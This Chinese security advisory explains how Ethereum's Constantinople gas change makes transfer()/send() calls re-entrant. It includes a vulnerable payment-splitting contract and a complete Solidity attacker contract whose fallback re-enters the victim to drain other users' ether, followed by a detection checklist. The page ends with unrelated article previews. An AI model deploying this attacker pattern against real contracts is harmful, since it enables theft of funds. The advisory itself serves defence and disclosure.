以太坊硬分叉后的可重入漏洞攻击
以太坊硬分叉后的可重入漏洞攻击
以太坊君士坦丁堡升级将降低部分 SSTORE 指令的 gas 费用。然而,这次升级也有一个副作用,在 Solidity 语言编写的智能合约中调用 address.transfer()函数或 address.send()函数时存在可重入漏洞。在目前版本的以太坊网络中,这些函数被认为是可重入安全的,但分叉后它们不再是了。
这个代码的问题何在?
下图是君士坦丁堡硬分叉之前没有可重入漏洞的一个代码段,它会在分叉后导致可重入性。
pragma solidity ^0.5.0;contract PaymentSharer {mapping(uint => uint) splits;mapping(uint => uint) deposits;mapping(uint => address payable) first;mapping(uint => address payable) second;function init(uint id, address payable _first, address payable _second) public {require(first[id] == address(0) && second[id] == address(0));require(first[id] == address(0) && second[id] == address(0));first[id] = _first;second[id] = _second;}function deposit(uint id) public payable {deposits[id] += msg.value;}function updateSplit(uint id, uint split) public {require(split <= 100);splits[id] = split;}function splitFunds(uint id) public {// Here would be:// Signatures that both parties agree with this split// Splitaddress payable a = first[id];address payable b = second[id];uint depo = deposits[id];deposits[id] = 0;a.transfer(depo * splits[id] / 100);b.transfer(depo * (100 - splits[id]) / 100);}
}
An example for newly vulnerable code.
这个代码会被一种意想不到的方式攻击:它模拟了一个安全的资金共享服务。双方可以共同接收资金,决定如何分成,如果他们达成一致 ,则可以获得支付。攻击者将创建一个对,其中第一个地址是下图列出的攻击合约地址,第二个地址则是任何攻击者账户。攻击者将在这个对存入一些以太币。
pragma solidity ^0.5.0;import "./PaymentSharer.sol";contract Attacker {address private victim;address payable owner;constructor() public {owner = msg.sender;}function attack(address a) external {victim = a;PaymentSharer x = PaymentSharer(a);x.updateSplit(0, 100);x.splitFunds(0);}function () payable external {address x = victim;assembly{mstore(0x80, 0xc3b18fb600000000000000000000000000000000000000000000000000000000)pop(call(10000, x, 0, 0x80, 0x44, 0, 0))}}function drain() external {owner.transfer(address(this).balance);}
}
Attacker Contract listed as first address.
当攻击者在自己的合约中调用 attack 函数时,在同一个交易中就会发生以下事件:
- 攻击者利用 updateSplit 函数设置当前的分成,从而确保之后的升级将会降低费用。这是君士坦丁堡升级带来的效应。攻击者通过这种方式设置分成,他的第一个地址(即攻击合约地址)就能接收到所有的以太币。
- 攻击合约调用 splitFunds 函数,该调用将进行检查*等,并通过 transfer()函数把其中存储的所有以太币发送到攻击合约。
- 通过回退函数,攻击者再次执行分成,这一次将所有以太币分配给他的第二个地址,即其自己的账户。
- 通过不断执行 splitFunds 函数,在第一个地址中存储的所有以太币都被转移到了攻击者账户中。
简单来说,攻击者可以不断从 PaymentSharer 合约中盗取其他用户的以太币。
为什么这种漏洞变得可利用了?
在君士坦丁堡硬分叉前,一个存储指令至少需要 5000 gas 手续费。这远远超过了在利用 transfer()函数或 send()函数调用合约时可用的 2300 gas 津贴。
在君士坦丁堡分叉后,会改变“脏(dirty)”存储器槽(storage slot)的存储指令只需 200 gas。如果在交易执行期间对一个存储器槽做出修改,那么这个存储器槽就会被标记为“dirty”。如上所示,这可以通过在攻击合约调用一些改变所需变量的公共函数来实现。然后,通过使被攻击合约调用攻击合约,例如使用 msg.sender.transfer(…)函数,攻击合约就可以利用 gas 津贴成功操纵这个被攻击合约的变量。
被攻击合约必须满足以下先决条件:
- 首先必须存在函数A,在调用 transfer/send 函数后将执行状态修改的指令。有时这种指令可能是不明显的,例如,第二次 transfer 的调用或与另一个智能合约的互动。
- 必须存在攻击者可调用的函数B ,能够实现(a)改变状态;(b)其状态改变与函数A的状态改变冲突。
- 执行函数B 的手续费必须小于 1600 gas (2300 gas 津贴 — CALL 指令花费的 700 gas)。
我的智能合约是否易受攻击?
要测试一个智能合约是否易受攻击:
(a) 检查在 transfer 事件后是否存在其他指令。
(b) 检查这些指令是否修改了存储状态。最常见的修改是通过分配一些存储变量。如果你在调用另一个合约,比如代币的 transfer 函数,检查并列出所有被修改的变量。
© 检查在你的合约中是否有任何非管理员可访问的方式使用了这些变量。
(d) 检查这些方式本身是否修改了存储状态。
(e) 检查这种方式的手续费是否低于 2300 gas,记住,SSTORE 指令理论上只需要花费 200 gas。
如果上述所有情况皆符合,那么攻击者很可能可以对你的合约发起恶意攻击,使其陷入糟糕的状态。总的来说,这也再次提醒了我们“检查-生效-交互”(Checks-Effects-Interactions)模式的重要性。
目前存在易受攻击的智能合约吗?
利用 eveem.org 提供的数据,我们检查了主要以太坊区块链,并未发现易受攻击的智能合约。我们也在与 ethsecurity.org 工作组的成员合作,将此次检查扩展到尚未反编译的复杂智能合约,尤其是去中心化交易所。去中心化交易所经常向不可信账户调用以太币转移函数,之后存储状态被修改,这些交易所就可能会变得易受攻击。请记住,在许多情况下,重入攻击警告并不意味着这个漏洞可以被利用,而需要更仔细的分析。
相关文章:
以太坊硬分叉后的可重入漏洞攻击
以太坊硬分叉后的可重入漏洞攻击 以太坊君士坦丁堡升级将降低部分 SSTORE 指令的 gas 费用。然而,这次升级也有一个副作用,在 Solidity 语言编写的智能合约中调用 address.transfer()函数或 address.send()函数时存在可重入漏洞。在目前版本的以太坊网络…...
k8s 常用命令(三)
1、查看版本信息:kubectl version [rootmaster ~]# kubectl version [rootmaster ~]# kubectl version Client Version: version.Info{Major:"1", Minor:"21", GitVersion:"v1.21.3", GitCommit:"ca643a4d1f7bfe34773c74f7952…...
API 网关基础
目录 一、网关概述二、网关提供的功能三、常见网关系统3.1 Netflix Zuul3.2 Spring Cloud Gateway3.3 Kong3.4 APISIX3.5 Shenyu 一、网关概述 API网关是一个服务器,是系统的唯一入口。 从面向对象设计的角度看,它与外观模式类似。API网关封装了系统内部…...
【Linux】权限问题
Linux权限 一、Linux 权限的概念二、Linux 权限管理1. 文件访问者的分类2. 文件类型和访问权限(事物属性)3. 文件访问权限的相关设置方法 三、默认权限1. 对文件和目录进行操作需要的权限2. 文件和目录的默认权限3. 粘滞位 一、Linux 权限的概念 Linux …...
线性代数的学习和整理10:各种特殊类型的矩阵(草稿-----未完成 建设ing)
目录 1 图形化分类 1.1对称矩阵 1.2 梯形矩阵 1.3 三角矩阵 1.3.1 上三角矩阵 1.4 对角线矩阵 2 按各自功能分 2.1 等价矩阵 2.2 增广矩阵 2.3 伴随矩阵 2.4 正交矩阵 2.5 正交矩阵 2.6 相似矩阵 1 图形化分类 1.1对称矩阵 1.2 梯形矩阵 1.3 三角矩阵 1.3.1 上…...
Go 自学:变量、函数、结构体、接口、错误处理
1. 打印变量数据类型 package mainimport "fmt"func main() {penniesPerText : 2.0fmt.Printf("The type of penniesPerText is %T\n", penniesPerText) }输出为: The type of penniesPerText is float64 2. 同时给多个变量赋值 package mai…...
pyqt Pyton VTK 使用 滑块 改变 VTK Actor 颜色
使用 PyQt5 vtk vtk球体 使用滑块 RGB 改变 Actor 颜色 CODE import sys from PyQt5.QtWidgets import * from PyQt5.QtWidgets import (QApplication, QCheckBox, QGridLayout, QGroupBox,QMenu, QPushButton, QRadioButton, QVBoxLayout, QWidget, QSlider,QLineEdit,QLabe…...
春秋云镜 CVE-2019-16113
春秋云镜 CVE-2019-16113 Bludit目录穿越漏洞 靶标介绍 在Bludit<3.9.2的版本中,攻击者可以通过定制uuid值将文件上传到指定的路径,然后通过bl-kernel/ajax/upload-images.php远程执行任意代码。 启动场景 漏洞利用 exp https://github.com/Kenun…...
【JavaEE基础学习打卡06】JDBC之进阶学习PreparedStatement
目录 前言一、PreparedStatement是什么二、重点理解预编译三、PreparedStatement基本使用四、Statement和PreparedStatement比较1.PreparedStatement效率高2.PreparedStatement无需拼接参数3.PreparedStatement防止SQL注入 总结 前言 📜 本系列教程适用于JavaWeb初学…...
Postgresql12基于时间点恢复
1、环境 centos 7系统 postgresql 12 docker 20.10.6 2、整体思路 1)进行一个pgdata目录的全量备份 2)通过wal日志恢复到故障发生之前某个时间点 3、操作步骤 配置postgresql.conf文件 #日志级别 wal_level replica #归档开关 archive_mode on …...
【MySQL系列】Select语句单表查询详解(二)ORDERBY排序
💐 🌸 🌷 🍀 🌹 🌻 🌺 🍁 🍃 🍂 🌿 🍄🍝 🍛 🍤 📃个人主页 :阿然成长日记 …...
C++学习第十九天----简单文件输入/输出和今日工作问题
1.写入到文本文件中 cout用于控制台输出; 必须包含头文件iostream; 头文件iostream定义了一个用于处理输出的ostream类; 头文件iostream声明了一个名为cout的ostream变量(对象); 必须指明名称空间std&…...
基于风险的漏洞管理
基于风险的漏洞管理涉及对即将被利用的漏洞的分类响应,如果被利用,可能会导致严重后果。本文详细介绍了确定漏洞优先级时要考虑的关键风险因素,以及确保基于风险的漏洞管理成功的其他注意事项。 什么是基于风险的漏洞管理对基于风险的漏洞管…...
命令行——Git基本操作总结
介绍 我们的操作使用的是客户端TortoiseGit 操作的git ,实际上底层依旧是使用的命令行帮我们执行, 在早期 git 并没有窗口化工具,开发人员只能使用命令行模式 实际上,如果你掌握并熟练使用了命令行模式操作git 的话,你会发现某些操作命令行比窗口化操作要简单 所有你在工作中…...
验证评估守护关基安全 赛宁数字孪生靶场创新实践
近日,由赛宁网安主办,ISC互联网安全大会组委会协办的第十一届互联网安全大会(ISC 2023)安全运营实践论坛圆满结束。赛宁网安产品总监史崯出席并作出主题演讲:《基于数字孪生靶场如何开展验证评估》,同时…...
R语言09-R语言中的字符函数和分布相关函数
字符函数 paste() 和 paste0(): 将多个字符向量连接成一个字符串,paste0() 直接连接,而 paste() 可以通过 sep 参数指定分隔符。 vector1 <- c("Hello", "world") vector2 <- c("R", "programming") re…...
pnpm无法加载文件 (解决方法 )
现在要运行一个TS的项目,我的电脑上没有安装pnpm,导致我的vscode一直报错无法加载。 pnpm安装: npm install -g pnpm pnpm : 无法加载文件 pnpm : 无法加载文件 C:\Users\HP\AppData\Roaming\npm\pnpm.ps1,因为在此系统上禁止运…...
做一个蛋糕店小程序需要哪些步骤?
对于一些不懂技术的新手来说,创建蛋糕店小程序可能会感到有些困惑。但是,有了乔拓云平台的帮助,你可以轻松地创建自己的蛋糕店小程序。下面,我将为大家详细介绍一下具体的操作步骤。 首先,登录乔拓云平台并进入后台管理…...
Docker的革命:容器技术如何重塑软件部署之路
引言 在过去的几年中,容器技术已经从一个小众的概念发展成为软件开发和部署的主流方法。Docker,作为这一变革的先驱,已经深深地影响了我们如何构建、部署和运行应用程序。本文将探讨容器技术的起源,Docker如何崛起并改变了软件部…...
【ARM-Linux】项目,语音刷抖音项目
文章目录 所需器材装备操作SU-03T语音模块配置代码(没有用wiring库,自己实现串口通信)结束 所需器材 可以百度了解以下器材 orangepi-zero2全志开发板 su-03T语音识别模块 USB-TTL模块 一个安卓手机 一根可以传输的数据线 装备操作 安…...
python打卡day49
知识点回顾: 通道注意力模块复习空间注意力模块CBAM的定义 作业:尝试对今天的模型检查参数数目,并用tensorboard查看训练过程 import torch import torch.nn as nn# 定义通道注意力 class ChannelAttention(nn.Module):def __init__(self,…...
Linux简单的操作
ls ls 查看当前目录 ll 查看详细内容 ls -a 查看所有的内容 ls --help 查看方法文档 pwd pwd 查看当前路径 cd cd 转路径 cd .. 转上一级路径 cd 名 转换路径 …...
RNN避坑指南:从数学推导到LSTM/GRU工业级部署实战流程
本文较长,建议点赞收藏,以免遗失。更多AI大模型应用开发学习视频及资料,尽在聚客AI学院。 本文全面剖析RNN核心原理,深入讲解梯度消失/爆炸问题,并通过LSTM/GRU结构实现解决方案,提供时间序列预测和文本生成…...
A2A JS SDK 完整教程:快速入门指南
目录 什么是 A2A JS SDK?A2A JS 安装与设置A2A JS 核心概念创建你的第一个 A2A JS 代理A2A JS 服务端开发A2A JS 客户端使用A2A JS 高级特性A2A JS 最佳实践A2A JS 故障排除 什么是 A2A JS SDK? A2A JS SDK 是一个专为 JavaScript/TypeScript 开发者设计的强大库ÿ…...
uniapp 小程序 学习(一)
利用Hbuilder 创建项目 运行到内置浏览器看效果 下载微信小程序 安装到Hbuilder 下载地址 :开发者工具默认安装 设置服务端口号 在Hbuilder中设置微信小程序 配置 找到运行设置,将微信开发者工具放入到Hbuilder中, 打开后出现 如下 bug 解…...
mac:大模型系列测试
0 MAC 前几天经过学生优惠以及国补17K入手了mac studio,然后这两天亲自测试其模型行运用能力如何,是否支持微调、推理速度等能力。下面进入正文。 1 mac 与 unsloth 按照下面的进行安装以及测试,是可以跑通文章里面的代码。训练速度也是很快的。 注意…...
React从基础入门到高级实战:React 实战项目 - 项目五:微前端与模块化架构
React 实战项目:微前端与模块化架构 欢迎来到 React 开发教程专栏 的第 30 篇!在前 29 篇文章中,我们从 React 的基础概念逐步深入到高级技巧,涵盖了组件设计、状态管理、路由配置、性能优化和企业级应用等核心内容。这一次&…...
基于单片机的宠物屋智能系统设计与实现(论文+源码)
本设计基于单片机的宠物屋智能系统核心是实现对宠物生活环境及状态的智能管理。系统以单片机为中枢,连接红外测温传感器,可实时精准捕捉宠物体温变化,以便及时发现健康异常;水位检测传感器时刻监测饮用水余量,防止宠物…...
麒麟系统使用-进行.NET开发
文章目录 前言一、搭建dotnet环境1.获取相关资源2.配置dotnet 二、使用dotnet三、其他说明总结 前言 麒麟系统的内核是基于linux的,如果需要进行.NET开发,则需要安装特定的应用。由于NET Framework 是仅适用于 Windows 版本的 .NET,所以要进…...
RushDB开源程序 是现代应用程序和 AI 的即时数据库。建立在 Neo4j 之上
一、软件介绍 文末提供程序和源码下载 RushDB 改变了您处理图形数据的方式 — 不需要 Schema,不需要复杂的查询,只需推送数据即可。 二、Key Features ✨ 主要特点 Instant Setup: Be productive in seconds, not days 即时设置 :在几秒钟…...
